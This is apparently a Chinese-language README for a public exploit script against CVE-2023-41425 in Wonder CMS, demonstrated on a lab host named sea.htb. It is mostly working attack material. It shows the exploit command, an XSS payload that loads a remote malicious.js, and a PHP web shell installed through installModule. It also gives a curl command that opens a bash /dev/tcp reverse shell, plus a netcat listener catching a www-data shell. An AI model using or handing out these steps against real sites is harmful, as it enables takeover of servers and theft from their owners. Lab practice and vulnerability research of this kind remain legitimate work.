CVE-2023-41425 是 Wonder CMS 中的一个反射型 XSS 漏洞,可进一步通过 installModule 组件利用恶意脚本执行任意代码。
针对目标的 loginURL 运行漏洞利用程序,指定用于托管恶意 .js 文件的 Web 服务器的 IP 和端口:
$ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888
[+] 创建 PHP Web Shell
[+] 写入 malicious.js
[+] XSS Payload:
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.25:8888/malicious.js"></script><form+action="
[+] 当 .zip 文件被请求后,Web Shell 即可访问:
http://sea.htb/themes/malicious/malicious.php?cmd=<COMMAND>
[+] 要获取反向 shell 连接,请运行以下命令:
[+] curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"
[+] 启动 HTTP 服务器
Serving HTTP on 10.10.16.25 port 8888 (http://10.10.16.25:8888/) ...
<--REDACTED--> "GET /malicious.js HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
将 XSS Payload 发送给受害者。一旦受害者打开链接,上述 Web 服务器便会收到来自受害者的 .js 请求。该 .js 会下载包含简单 PHP Web Shell 的恶意 .zip 模块。
一旦 .zip 被请求,它将通过 installModule 安装完毕,并可通过脚本提供的链接进行访问。
$ curl -s 'http://sea.htb/themes/malicious/malicious.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
首先设置监听器,然后运行任意命令以建立反向 shell 连接。脚本提供了一个适用于 Linux 的示例。
$ curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"
并在监听器上获得连接:
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.194.205] 54398
bash: cannot set terminal process group (1135): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sea:/var/www/sea/themes/malicious$
安装所需依赖:
pip install -r requirements.txt
帮助信息:
$ python3 exploit.py --help
usage: exploit.py [-h] --url URL --xip XIP --xport XPORT
Exploit Wonder CMS v3.2.0 - v3.4.2 XSS to RCE (CVE-2023-41425)
Initial CVE and proof-of-concept by prodigiousMind
Rewritten by xpltive
options:
-h, --help show this help message and exit
--url URL Target URL of loginURL (Example: http://sea.htb/loginURL)
--xip XIP IP for HTTP web server that hosts the malicious .js file
--xport XPORT Port for HTTP web server that hosts the malicious .js file
感谢 prodigiousMind 发现并报告该漏洞(链接)。